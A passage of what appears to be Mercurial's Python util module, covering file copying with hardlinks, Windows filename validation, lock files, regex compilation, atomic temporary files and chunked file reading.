1912 1912 if newstat.isambig(oldstat):
1913 1913 # stat of copied file is ambiguous to original one
1914 1914 advanced = (
1915 1915 oldstat.stat[stat.ST_MTIME] + 1
1916 1916 ) & 0x7FFFFFFF
1917 1917 os.utime(dest, (advanced, advanced))
1918 1918 except shutil.Error as inst:
1919 1919 raise error.Abort(str(inst))
1920 1920
1921 1921
1922 1922 def copyfiles(src, dst, hardlink=None, progress=None):
1923 1923 """Copy a directory tree using hardlinks if possible."""
1924 1924 num = 0
1925 1925
1926 1926 def settopic():
1927 1927 if progress:
1928 1928 progress.topic = _(b'linking') if hardlink else _(b'copying')
1929 1929
1930 1930 if os.path.isdir(src):
1931 1931 if hardlink is None:
1932 1932 hardlink = (
1933 1933 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1934 1934 )
1935 1935 settopic()
1936 1936 os.mkdir(dst)
1937 1937 for name, kind in listdir(src):
1938 1938 srcname = os.path.join(src, name)
1939 1939 dstname = os.path.join(dst, name)
1940 1940 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1941 1941 num += n
1942 1942 else:
1943 1943 if hardlink is None:
1944 1944 hardlink = (
1945 1945 os.stat(os.path.dirname(src)).st_dev
1946 1946 == os.stat(os.path.dirname(dst)).st_dev
1947 1947 )
1948 1948 settopic()
1949 1949
1950 1950 if hardlink:
1951 1951 try:
1952 1952 oslink(src, dst)
1953 1953 except (IOError, OSError):
1954 1954 hardlink = False
1955 1955 shutil.copy(src, dst)
1956 1956 else:
1957 1957 shutil.copy(src, dst)
1958 1958 num += 1
1959 1959 if progress:
1960 1960 progress.increment()
1961 1961
1962 1962 return hardlink, num
1963 1963
1964 1964
1965 1965 _winreservednames = {
1966 1966 b'con',
1967 1967 b'prn',
1968 1968 b'aux',
1969 1969 b'nul',
1970 1970 b'com1',
1971 1971 b'com2',
1972 1972 b'com3',
1973 1973 b'com4',
1974 1974 b'com5',
1975 1975 b'com6',
1976 1976 b'com7',
1977 1977 b'com8',
1978 1978 b'com9',
1979 1979 b'lpt1',
1980 1980 b'lpt2',
1981 1981 b'lpt3',
1982 1982 b'lpt4',
1983 1983 b'lpt5',
1984 1984 b'lpt6',
1985 1985 b'lpt7',
1986 1986 b'lpt8',
1987 1987 b'lpt9',
1988 1988 }
1989 1989 _winreservedchars = b':*?"<>|'
1990 1990
1991 1991
1992 1992 def checkwinfilename(path):
1993 1993 r'''Check that the base-relative path is a valid filename on Windows.
1994 1994 Returns None if the path is ok, or a UI string describing the problem.
1995 1995
1996 1996 >>> checkwinfilename(b"just/a/normal/path")
1997 1997 >>> checkwinfilename(b"foo/bar/con.xml")
1998 1998 "filename contains 'con', which is reserved on Windows"
1999 1999 >>> checkwinfilename(b"foo/con.xml/bar")
2000 2000 "filename contains 'con', which is reserved on Windows"
2001 2001 >>> checkwinfilename(b"foo/bar/xml.con")
2002 2002 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
2003 2003 "filename contains 'AUX', which is reserved on Windows"
2004 2004 >>> checkwinfilename(b"foo/bar/bla:.txt")
2005 2005 "filename contains ':', which is reserved on Windows"
2006 2006 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2007 2007 "filename contains '\\x07', which is invalid on Windows"
2008 2008 >>> checkwinfilename(b"foo/bar/bla ")
2009 2009 "filename ends with ' ', which is not allowed on Windows"
2010 2010 >>> checkwinfilename(b"../bar")
2011 2011 >>> checkwinfilename(b"foo\\")
2012 2012 "filename ends with '\\', which is invalid on Windows"
2013 2013 >>> checkwinfilename(b"foo\\/bar")
2014 2014 "directory name ends with '\\', which is invalid on Windows"
2015 2015 '''
2016 2016 if path.endswith(b'\\'):
2017 2017 return _(b"filename ends with '\\', which is invalid on Windows")
2018 2018 if b'\\/' in path:
2019 2019 return _(b"directory name ends with '\\', which is invalid on Windows")
2020 2020 for n in path.replace(b'\\', b'/').split(b'/'):
2021 2021 if not n:
2022 2022 continue
2023 2023 for c in _filenamebytestr(n):
2024 2024 if c in _winreservedchars:
2025 2025 return (
2026 2026 _(
2027 2027 b"filename contains '%s', which is reserved "
2028 2028 b"on Windows"
2029 2029 )
2030 2030 % c
2031 2031 )
2032 2032 if ord(c) <= 31:
2033 2033 return _(
2034 2034 b"filename contains '%s', which is invalid on Windows"
2035 2035 ) % stringutil.escapestr(c)
2036 2036 base = n.split(b'.')[0]
2037 2037 if base and base.lower() in _winreservednames:
2038 2038 return (
2039 2039 _(b"filename contains '%s', which is reserved on Windows")
2040 2040 % base
2041 2041 )
2042 2042 t = n[-1:]
2043 2043 if t in b'. ' and n not in b'..':
2044 2044 return (
2045 2045 _(
2046 2046 b"filename ends with '%s', which is not allowed "
2047 2047 b"on Windows"
2048 2048 )
2049 2049 % t
2050 2050 )
2051 2051
2052 2052
2053 2053 if pycompat.iswindows:
2054 2054 checkosfilename = checkwinfilename
2055 2055 timer = time.clock
2056 2056 else:
2057 2057 checkosfilename = platform.checkosfilename
2058 2058 timer = time.time
2059 2059
2060 2060 if safehasattr(time, "perf_counter"):
2061 2061 timer = time.perf_counter
2062 2062
2063 2063
2064 2064 def makelock(info, pathname):
2065 2065 """Create a lock file atomically if possible
2066 2066
2067 2067 This may leave a stale lock file if symlink isn't supported and signal
2068 2068 interrupt is enabled.
2069 2069 """
2070 2070 try:
2071 2071 return os.symlink(info, pathname)
2072 2072 except OSError as why:
2073 2073 if why.errno == errno.EEXIST:
2074 2074 raise
2075 2075 except AttributeError: # no symlink in os
2076 2076 pass
2077 2077
2078 2078 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2079 2079 ld = os.open(pathname, flags)
2080 2080 os.write(ld, info)
2081 2081 os.close(ld)
2082 2082
2083 2083
2084 2084 def readlock(pathname):
2085 2085 try:
2086 2086 return readlink(pathname)
2087 2087 except OSError as why:
2088 2088 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2089 2089 raise
2090 2090 except AttributeError: # no symlink in os
2091 2091 pass
2092 2092 with posixfile(pathname, b'rb') as fp:
2093 2093 return fp.read()
2094 2094
2095 2095
2096 2096 def fstat(fp):
2097 2097 '''stat file object that may not have fileno method.'''
2098 2098 try:
2099 2099 return os.fstat(fp.fileno())
2100 2100 except AttributeError:
2101 2101 return os.stat(fp.name)
2102 2102
2103 2103
2104 2104 # File system features
2105 2105
2106 2106
2107 2107 def fscasesensitive(path):
2108 2108 """
2109 2109 Return true if the given path is on a case-sensitive filesystem
2110 2110
2111 2111 Requires a path (like /foo/.hg) ending with a foldable final
2112 2112 directory component.
2113 2113 """
2114 2114 s1 = os.lstat(path)
2115 2115 d, b = os.path.split(path)
2116 2116 b2 = b.upper()
2117 2117 if b == b2:
2118 2118 b2 = b.lower()
2119 2119 if b == b2:
2120 2120 return True # no evidence against case sensitivity
2121 2121 p2 = os.path.join(d, b2)
2122 2122 try:
2123 2123 s2 = os.lstat(p2)
2124 2124 if s2 == s1:
2125 2125 return False
2126 2126 return True
2127 2127 except OSError:
2128 2128 return True
2129 2129
2130 2130
2131 2131 try:
2132 2132 import re2
2133 2133
2134 2134 _re2 = None
2135 2135 except ImportError:
2136 2136 _re2 = False
2137 2137
2138 2138
2139 2139 class _re(object):
2140 2140 def _checkre2(self):
2141 2141 global _re2
2142 2142 try:
2143 2143 # check if match works, see issue3964
2144 2144 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2145 2145 except ImportError:
2146 2146 _re2 = False
2147 2147
2148 2148 def compile(self, pat, flags=0):
2149 2149 '''Compile a regular expression, using re2 if possible
2150 2150
2151 2151 For best performance, use only re2-compatible regexp features. The
2152 2152 only flags from the re module that are re2-compatible are
2153 2153 IGNORECASE and MULTILINE.'''
2154 2154 if _re2 is None:
2155 2155 self._checkre2()
2156 2156 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2157 2157 if flags & remod.IGNORECASE:
2158 2158 pat = b'(?i)' + pat
2159 2159 if flags & remod.MULTILINE:
2160 2160 pat = b'(?m)' + pat
2161 2161 try:
2162 2162 return re2.compile(pat)
2163 2163 except re2.error:
2164 2164 pass
2165 2165 return remod.compile(pat, flags)
2166 2166
2167 2167 @propertycache
2168 2168 def escape(self):
2169 2169 '''Return the version of escape corresponding to self.compile.
2170 2170
2171 2171 This is imperfect because whether re2 or re is used for a particular
2172 2172 function depends on the flags, etc, but it's the best we can do.
2173 2173 '''
2174 2174 global _re2
2175 2175 if _re2 is None:
2176 2176 self._checkre2()
2177 2177 if _re2:
2178 2178 return re2.escape
2179 2179 else:
2180 2180 return remod.escape
2181 2181
2182 2182
2183 2183 re = _re()
2184 2184
2185 2185 _fspathcache = {}
2186 2186
2187 2187
2188 2188 def fspath(name, root):
2189 2189 '''Get name in the case stored in the filesystem
2190 2190
2191 2191 The name should be relative to root, and be normcase-ed for efficiency.
2192 2192
2193 2193 Note that this function is unnecessary, and should not be
2194 2194 called, for case-sensitive filesystems (simply because it's expensive).
2195 2195
2196 2196 The root should be normcase-ed, too.
2197 2197 '''
2198 2198
2199 2199 def _makefspathcacheentry(dir):
2200 2200 return dict((normcase(n), n) for n in os.listdir(dir))
2201 2201
2202 2202 seps = pycompat.ossep
2203 2203 if pycompat.osaltsep:
2204 2204 seps = seps + pycompat.osaltsep
2205 2205 # Protect backslashes. This gets silly very quickly.
2206 2206 seps.replace(b'\\', b'\\\\')
2207 2207 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2208 2208 dir = os.path.normpath(root)
2209 2209 result = []
2210 2210 for part, sep in pattern.findall(name):
2211 2211 if sep:
2212 2212 result.append(sep)
2213 2213 continue
2214 2214
2215 2215 if dir not in _fspathcache:
2216 2216 _fspathcache[dir] = _makefspathcacheentry(dir)
2217 2217 contents = _fspathcache[dir]
2218 2218
2219 2219 found = contents.get(part)
2220 2220 if not found:
2221 2221 # retry "once per directory" per "dirstate.walk" which
2222 2222 # may take place for each patches of "hg qpush", for example
2223 2223 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2224 2224 found = contents.get(part)
2225 2225
2226 2226 result.append(found or part)
2227 2227 dir = os.path.join(dir, part)
2228 2228
2229 2229 return b''.join(result)
2230 2230
2231 2231
2232 2232 def checknlink(testfile):
2233 2233 '''check whether hardlink count reporting works properly'''
2234 2234
2235 2235 # testfile may be open, so we need a separate file for checking to
2236 2236 # work around issue2543 (or testfile may get lost on Samba shares)
2237 2237 f1, f2, fp = None, None, None
2238 2238 try:
2239 2239 fd, f1 = pycompat.mkstemp(
2240 2240 prefix=b'.%s-' % os.path.basename(testfile),
2241 2241 suffix=b'1~',
2242 2242 dir=os.path.dirname(testfile),
2243 2243 )
2244 2244 os.close(fd)
2245 2245 f2 = b'%s2~' % f1[:-2]
2246 2246
2247 2247 oslink(f1, f2)
2248 2248 # nlinks() may behave differently for files on Windows shares if
2249 2249 # the file is open.
2250 2250 fp = posixfile(f2)
2251 2251 return nlinks(f2) > 1
2252 2252 except OSError:
2253 2253 return False
2254 2254 finally:
2255 2255 if fp is not None:
2256 2256 fp.close()
2257 2257 for f in (f1, f2):
2258 2258 try:
2259 2259 if f is not None:
2260 2260 os.unlink(f)
2261 2261 except OSError:
2262 2262 pass
2263 2263
2264 2264
2265 2265 def endswithsep(path):
2266 2266 '''Check path ends with os.sep or os.altsep.'''
2267 2267 return (
2268 2268 path.endswith(pycompat.ossep)
2269 2269 or pycompat.osaltsep
2270 2270 and path.endswith(pycompat.osaltsep)
2271 2271 )
2272 2272
2273 2273
2274 2274 def splitpath(path):
2275 2275 '''Split path by os.sep.
2276 2276 Note that this function does not use os.altsep because this is
2277 2277 an alternative of simple "xxx.split(os.sep)".
2278 2278 It is recommended to use os.path.normpath() before using this
2279 2279 function if need.'''
2280 2280 return path.split(pycompat.ossep)
2281 2281
2282 2282
2283 2283 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2284 2284 """Create a temporary file with the same contents from name
2285 2285
2286 2286 The permission bits are copied from the original file.
2287 2287
2288 2288 If the temporary file is going to be truncated immediately, you
2289 2289 can use emptyok=True as an optimization.
2290 2290
2291 2291 Returns the name of the temporary file.
2292 2292 """
2293 2293 d, fn = os.path.split(name)
2294 2294 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2295 2295 os.close(fd)
2296 2296 # Temporary files are created with mode 0600, which is usually not
2297 2297 # what we want. If the original file already exists, just copy
2298 2298 # its mode. Otherwise, manually obey umask.
2299 2299 copymode(name, temp, createmode, enforcewritable)
2300 2300
2301 2301 if emptyok:
2302 2302 return temp
2303 2303 try:
2304 2304 try:
2305 2305 ifp = posixfile(name, b"rb")
2306 2306 except IOError as inst:
2307 2307 if inst.errno == errno.ENOENT:
2308 2308 return temp
2309 2309 if not getattr(inst, 'filename', None):
2310 2310 inst.filename = name
2311 2311 raise
2312 2312 ofp = posixfile(temp, b"wb")
2313 2313 for chunk in filechunkiter(ifp):
2314 2314 ofp.write(chunk)
2315 2315 ifp.close()
2316 2316 ofp.close()
2317 2317 except: # re-raises
2318 2318 try:
2319 2319 os.unlink(temp)
2320 2320 except OSError:
2321 2321 pass
2322 2322 raise
2323 2323 return temp
2324 2324
2325 2325
2326 2326 class filestat(object):
2327 2327 """help to exactly detect change of a file
2328 2328
2329 2329 'stat' attribute is result of 'os.stat()' if specified 'path'
2330 2330 exists. Otherwise, it is None. This can avoid preparative
2331 2331 'exists()' examination on client side of this class.
2332 2332 """
2333 2333
2334 2334 def __init__(self, stat):
2335 2335 self.stat = stat
2336 2336
2337 2337 @classmethod
2338 2338 def frompath(cls, path):
2339 2339 try:
2340 2340 stat = os.stat(path)
2341 2341 except OSError as err:
2342 2342 if err.errno != errno.ENOENT:
2343 2343 raise
2344 2344 stat = None
2345 2345 return cls(stat)
2346 2346
2347 2347 @classmethod
2348 2348 def fromfp(cls, fp):
2349 2349 stat = os.fstat(fp.fileno())
2350 2350 return cls(stat)
2351 2351
2352 2352 __hash__ = object.__hash__
2353 2353
2354 2354 def __eq__(self, old):
2355 2355 try:
2356 2356 # if ambiguity between stat of new and old file is
2357 2357 # avoided, comparison of size, ctime and mtime is enough
2358 2358 # to exactly detect change of a file regardless of platform
2359 2359 return (
2360 2360 self.stat.st_size == old.stat.st_size
2361 2361 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2362 2362 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2363 2363 )
2364 2364 except AttributeError:
2365 2365 pass
2366 2366 try:
2367 2367 return self.stat is None and old.stat is None
2368 2368 except AttributeError:
2369 2369 return False
2370 2370
2371 2371 def isambig(self, old):
2372 2372 """Examine whether new (= self) stat is ambiguous against old one
2373 2373
2374 2374 "S[N]" below means stat of a file at N-th change:
2375 2375
2376 2376 - S[n-1].ctime < S[n].ctime: can detect change of a file
2377 2377 - S[n-1].ctime == S[n].ctime
2378 2378 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2379 2379 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2380 2380 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2381 2381 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2382 2382
2383 2383 Case (*2) above means that a file was changed twice or more at
2384 2384 same time in sec (= S[n-1].ctime), and comparison of timestamp
2385 2385 is ambiguous.
2386 2386
2387 2387 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2388 2388 timestamp is ambiguous".
2389 2389
2390 2390 But advancing mtime only in case (*2) doesn't work as
2391 2391 expected, because naturally advanced S[n].mtime in case (*1)
2392 2392 might be equal to manually advanced S[n-1 or earlier].mtime.
2393 2393
2394 2394 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2395 2395 treated as ambiguous regardless of mtime, to avoid overlooking
2396 2396 by confliction between such mtime.
2397 2397
2398 2398 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2399 2399 S[n].mtime", even if size of a file isn't changed.
2400 2400 """
2401 2401 try:
2402 2402 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2403 2403 except AttributeError:
2404 2404 return False
2405 2405
2406 2406 def avoidambig(self, path, old):
2407 2407 """Change file stat of specified path to avoid ambiguity
2408 2408
2409 2409 'old' should be previous filestat of 'path'.
2410 2410
2411 2411 This skips avoiding ambiguity, if a process doesn't have
2412 2412 appropriate privileges for 'path'. This returns False in this
2413 2413 case.
2414 2414
2415 2415 Otherwise, this returns True, as "ambiguity is avoided".
2416 2416 """
2417 2417 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2418 2418 try:
2419 2419 os.utime(path, (advanced, advanced))
2420 2420 except OSError as inst:
2421 2421 if inst.errno == errno.EPERM:
2422 2422 # utime() on the file created by another user causes EPERM,
2423 2423 # if a process doesn't have appropriate privileges
2424 2424 return False
2425 2425 raise
2426 2426 return True
2427 2427
2428 2428 def __ne__(self, other):
2429 2429 return not self == other
2430 2430
2431 2431
2432 2432 class atomictempfile(object):
2433 2433 '''writable file object that atomically updates a file
2434 2434
2435 2435 All writes will go to a temporary copy of the original file. Call
2436 2436 close() when you are done writing, and atomictempfile will rename
2437 2437 the temporary copy to the original name, making the changes
2438 2438 visible. If the object is destroyed without being closed, all your
2439 2439 writes are discarded.
2440 2440
2441 2441 checkambig argument of constructor is used with filestat, and is
2442 2442 useful only if target file is guarded by any lock (e.g. repo.lock
2443 2443 or repo.wlock).
2444 2444 '''
2445 2445
2446 2446 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2447 2447 self.__name = name # permanent name
2448 2448 self._tempname = mktempcopy(
2449 2449 name,
2450 2450 emptyok=(b'w' in mode),
2451 2451 createmode=createmode,
2452 2452 enforcewritable=(b'w' in mode),
2453 2453 )
2454 2454
2455 2455 self._fp = posixfile(self._tempname, mode)
2456 2456 self._checkambig = checkambig
2457 2457
2458 2458 # delegated methods
2459 2459 self.read = self._fp.read
2460 2460 self.write = self._fp.write
2461 2461 self.seek = self._fp.seek
2462 2462 self.tell = self._fp.tell
2463 2463 self.fileno = self._fp.fileno
2464 2464
2465 2465 def close(self):
2466 2466 if not self._fp.closed:
2467 2467 self._fp.close()
2468 2468 filename = localpath(self.__name)
2469 2469 oldstat = self._checkambig and filestat.frompath(filename)
2470 2470 if oldstat and oldstat.stat:
2471 2471 rename(self._tempname, filename)
2472 2472 newstat = filestat.frompath(filename)
2473 2473 if newstat.isambig(oldstat):
2474 2474 # stat of changed file is ambiguous to original one
2475 2475 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2476 2476 os.utime(filename, (advanced, advanced))
2477 2477 else:
2478 2478 rename(self._tempname, filename)
2479 2479
2480 2480 def discard(self):
2481 2481 if not self._fp.closed:
2482 2482 try:
2483 2483 os.unlink(self._tempname)
2484 2484 except OSError:
2485 2485 pass
2486 2486 self._fp.close()
2487 2487
2488 2488 def __del__(self):
2489 2489 if safehasattr(self, '_fp'): # constructor actually did something
2490 2490 self.discard()
2491 2491
2492 2492 def __enter__(self):
2493 2493 return self
2494 2494
2495 2495 def __exit__(self, exctype, excvalue, traceback):
2496 2496 if exctype is not None:
2497 2497 self.discard()
2498 2498 else:
2499 2499 self.close()
2500 2500
2501 2501
2502 2502 def unlinkpath(f, ignoremissing=False, rmdir=True):
2503 2503 """unlink and remove the directory if it is empty"""
2504 2504 if ignoremissing:
2505 2505 tryunlink(f)
2506 2506 else:
2507 2507 unlink(f)
2508 2508 if rmdir:
2509 2509 # try removing directories that might now be empty
2510 2510 try:
2511 2511 removedirs(os.path.dirname(f))
2512 2512 except OSError:
2513 2513 pass
2514 2514
2515 2515
2516 2516 def tryunlink(f):
2517 2517 """Attempt to remove a file, ignoring ENOENT errors."""
2518 2518 try:
2519 2519 unlink(f)
2520 2520 except OSError as e:
2521 2521 if e.errno != errno.ENOENT:
2522 2522 raise
2523 2523
2524 2524
2525 2525 def makedirs(name, mode=None, notindexed=False):
2526 2526 """recursive directory creation with parent mode inheritance
2527 2527
2528 2528 Newly created directories are marked as "not to be indexed by
2529 2529 the content indexing service", if ``notindexed`` is specified
2530 2530 for "write" mode access.
2531 2531 """
2532 2532 try:
2533 2533 makedir(name, notindexed)
2534 2534 except OSError as err:
2535 2535 if err.errno == errno.EEXIST:
2536 2536 return
2537 2537 if err.errno != errno.ENOENT or not name:
2538 2538 raise
2539 2539 parent = os.path.dirname(os.path.abspath(name))
2540 2540 if parent == name:
2541 2541 raise
2542 2542 makedirs(parent, mode, notindexed)
2543 2543 try:
2544 2544 makedir(name, notindexed)
2545 2545 except OSError as err:
2546 2546 # Catch EEXIST to handle races
2547 2547 if err.errno == errno.EEXIST:
2548 2548 return
2549 2549 raise
2550 2550 if mode is not None:
2551 2551 os.chmod(name, mode)
2552 2552
2553 2553
2554 2554 def readfile(path):
2555 2555 with open(path, b'rb') as fp:
2556 2556 return fp.read()
2557 2557
2558 2558
2559 2559 def writefile(path, text):
2560 2560 with open(path, b'wb') as fp:
2561 2561 fp.write(text)
2562 2562
2563 2563
2564 2564 def appendfile(path, text):
2565 2565 with open(path, b'ab') as fp:
2566 2566 fp.write(text)
2567 2567
2568 2568
2569 2569 class chunkbuffer(object):
2570 2570 """Allow arbitrary sized chunks of data to be efficiently read from an
2571 2571 iterator over chunks of arbitrary size."""
2572 2572
2573 2573 def __init__(self, in_iter):
2574 2574 """in_iter is the iterator that's iterating over the input chunks."""
2575 2575
2576 2576 def splitbig(chunks):
2577 2577 for chunk in chunks:
2578 2578 if len(chunk) > 2 ** 20:
2579 2579 pos = 0
2580 2580 while pos < len(chunk):
2581 2581 end = pos + 2 ** 18
2582 2582 yield chunk[pos:end]
2583 2583 pos = end
2584 2584 else:
2585 2585 yield chunk
2586 2586
2587 2587 self.iter = splitbig(in_iter)
2588 2588 self._queue = collections.deque()
2589 2589 self._chunkoffset = 0
2590 2590
2591 2591 def read(self, l=None):
2592 2592 """Read L bytes of data from the iterator of chunks of data.
2593 2593 Returns less than L bytes if the iterator runs dry.
2594 2594
2595 2595 If size parameter is omitted, read everything"""
2596 2596 if l is None:
2597 2597 return b''.join(self.iter)
2598 2598
2599 2599 left = l
2600 2600 buf = []
2601 2601 queue = self._queue
2602 2602 while left > 0:
2603 2603 # refill the queue
2604 2604 if not queue:
2605 2605 target = 2 ** 18
2606 2606 for chunk in self.iter:
2607 2607 queue.append(chunk)
2608 2608 target -= len(chunk)
2609 2609 if target <= 0:
2610 2610 break
2611 2611 if not queue:
2612 2612 break
2613 2613
2614 2614 # The easy way to do this would be to queue.popleft(), modify the
2615 2615 # chunk (if necessary), then queue.appendleft(). However, for cases
2616 2616 # where we read partial chunk content, this incurs 2 dequeue
2617 2617 # mutations and creates a new str for the remaining chunk in the
2618 2618 # queue. Our code below avoids this overhead.
2619 2619
2620 2620 chunk = queue[0]
2621 2621 chunkl = len(chunk)
2622 2622 offset = self._chunkoffset
2623 2623
2624 2624 # Use full chunk.
2625 2625 if offset == 0 and left >= chunkl:
2626 2626 left -= chunkl
2627 2627 queue.popleft()
2628 2628 buf.append(chunk)
2629 2629 # self._chunkoffset remains at 0.
2630 2630 continue
2631 2631
2632 2632 chunkremaining = chunkl - offset
2633 2633
2634 2634 # Use all of unconsumed part of chunk.
2635 2635 if left >= chunkremaining:
2636 2636 left -= chunkremaining
2637 2637 queue.popleft()
2638 2638 # offset == 0 is enabled by block above, so this won't merely
2639 2639 # copy via ``chunk[0:]``.
2640 2640 buf.append(chunk[offset:])
2641 2641 self._chunkoffset = 0
2642 2642
2643 2643 # Partial chunk needed.
2644 2644 else:
2645 2645 buf.append(chunk[offset : offset + left])
2646 2646 self._chunkoffset += left
2647 2647 left -= chunkremaining
2648 2648
2649 2649 return b''.join(buf)
2650 2650
2651 2651
2652 2652 def filechunkiter(f, size=131072, limit=None):
2653 2653 """Create a generator that produces the data in the file size
2654 2654 (default 131072) bytes at a time, up to optional limit (default is
2655 2655 to read all data). Chunks may be less than size bytes if the
2656 2656 chunk is the last chunk in the file, or the file is a socket or
2657 2657 some other type of file that sometimes reads less data than is
2658 2658 requested."""
2659 2659 assert size >= 0
2660 2660 assert limit is None or limit >= 0
2661 2661 while True:
2662 2662 if limit is None:
2663 2663 nbytes = size
2664 2664 else:
2665 2665 nbytes = min(limit, size)
2666 2666 s = nbytes and f.read(nbytes)
2667 2667 if not s:
2668 2668 break
2669 2669 if limit:
2670 2670 limit -= len(s)
2671 2671 yield s
2672 2672
2673 2673
2674 2674 class cappedreader(object):
2675 2675 """A file object proxy that allows reading up to N bytes.
2676 2676
2677 2677 Given a source file object, instances of this type allow reading up to
2678 2678 N bytes from that source file object. Attempts to read past the allowed
2679 2679 limit are treated as EOF.
2680 2680
2681 2681 It is assumed that I/O is not performed on the original file object
2682 2682 in addition to I/O that is performed by this instance. If there is,
2683 2683 state tracking will get out of sync and unexpected results will ensue.
2684 2684 """
2685 2685
2686 2686 def __init__(self, fh, limit):
2687 2687 """Allow reading up to <limit> bytes from <fh>."""
2688 2688 self._fh = fh
2689 2689 self._left = limit
2690 2690
2691 2691 def read(self, n=-1):
2692 2692 if not self._left:
2693 2693 return b''
2694 2694
2695 2695 if n < 0:
2696 2696 n = self._left
2697 2697
2698 2698 data = self._fh.read(min(n, self._left))
2699 2699 self._left -= len(data)
2700 2700 assert self._left >= 0
2701 2701
2702 2702 return data
2703 2703
2704 2704 def readinto(self, b):
2705 2705 res = self.read(len(b))
2706 2706 if res is None:
2707 2707 return None
2708 2708
2709 2709 b[0 : len(res)] = res
2710 2710 return len(res)
2711 2711
2712 2712
2713 2713 def unitcountfn(*unittable):
2714 2714 '''return a function that renders a readable count of some quantity'''
2715 2715
2716 2716 def go(count):
2717 2717 for multiplier, divisor, format in unittable:
2718 2718 if abs(count) >= divisor * multiplier:
2719 2719 return format % (count / float(divisor))
2720 2720 return unittable[-1][2] % count
2721 2721
2722 2722 return go
2723 2723
2724 2724
2725 2725 def processlinerange(fromline, toline):
2726 2726 """Check that linerange <fromline>:<toline> makes sense and return a
2727 2727 0-based range.
2728 2728
2729 2729 >>> processlinerange(10, 20)
2730 2730 (9, 20)
2731 2731 >>> processlinerange(2, 1)
2732 2732 Traceback (most recent call last):
2733 2733 ...
2734 2734 ParseError: line range must be positive
2735 2735 >>> processlinerange(0, 5)
2736 2736 Traceback (most recent call last):
2737 2737 ...
2738 2738 ParseError: fromline must be strictly positive
2739 2739 """
2740 2740 if toline - fromline < 0:
2741 2741 raise error.ParseError(_(b"line range must be positive"))
2742 2742 if fromline < 1:
2743 2743 raise error.ParseError(_(b"fromline must be strictly positive"))
2744 2744 return fromline - 1, toline
2745 2745
2746 2746
2747 2747 bytecount = unitcountfn(
2748 2748 (100, 1 << 30, _(b'%.0f GB')),
2749 2749 (10, 1 << 30, _(b'%.1f GB')),
2750 2750 (1, 1 << 30, _(b'%.2f GB')),
2751 2751 (100, 1 << 20, _(b'%.0f MB')),
2752 2752 (10, 1 << 20, _(b'%.1f MB')),
2753 2753 (1, 1 << 20, _(b'%.2f MB')),
2754 2754 (100, 1 << 10, _(b'%.0f KB')),
2755 2755 (10, 1 << 10, _(b'%.1f KB')),
2756 2756 (1, 1 << 10, _(b'%.2f KB')),
2757 2757 (1, 1, _(b'%.0f bytes')),
2758 2758 )
2759 2759
2760 2760
2761 2761 class transformingwriter(object):
2762 2762 """Writable file wrapper to transform data by function"""
2763 2763
2764 2764 def __init__(self, fp, encode):
2765 2765 self._fp = fp
2766 2766 self._encode = encode
2767 2767
2768 2768 def close(self):
2769 2769 self._fp.close()
2770 2770
2771 2771 def flush(self):
2772 2772 self._fp.flush()
2773 2773
2774 2774 def write(self, data):
2775 2775 return self._fp.write(self._encode(data))
2776 2776
2777 2777
2778 2778 # Matches a single EOL which can either be a CRLF where repeated CR
2779 2779 # are removed or a LF. We do not care about old Macintosh files, so a
2780 2780 # stray CR is an error.
2781 2781 _eolre = remod.compile(br'\r*\n')
2782 2782
2783 2783
2784 2784 def tolf(s):
2785 2785 return _eolre.sub(b'\n', s)
2786 2786
2787 2787
2788 2788 def tocrlf(s):
2789 2789 return _eolre.sub(b'\r\n', s)
2790 2790
2791 2791
2792 2792 def _crlfwriter(fp):
2793 2793 return transformingwriter(fp, tocrlf)
2794 2794
2795 2795
2796 2796 if pycompat.oslinesep == b'\r\n':
2797 2797 tonativeeol = tocrlf
2798 2798 fromnativeeol = tolf
2799 2799 nativeeolwriter = _crlfwriter
2800 2800 else:
2801 2801 tonativeeol = pycompat.identity
2802 2802 fromnativeeol = pycompat.identity
2803 2803 nativeeolwriter = pycompat.identity
2804 2804
2805 2805 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2806 2806 3,
2807 2807 0,
2808 2808 ):
2809 2809 # There is an issue in CPython that some IO methods do not handle EINTR
2810 2810 # correctly. The following table shows what CPython version (and functions)
2811 2811 # are affected (buggy: has the EINTR bug, okay: otherwise):
2812 2812 #
2813 2813 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2814 2814 # --------------------------------------------------
2815 2815 # fp.__iter__ | buggy | buggy | okay
2816 2816 # fp.read* | buggy | okay [1] | okay
2817 2817 #
2818 2818 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2819 2819 #
2820 2820 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2821 2821 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2822 2822 #
2823 2823 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2824 2824 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2825 2825 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2826 2826 # fp.__iter__ but not other fp.read* methods.
2827 2827 #
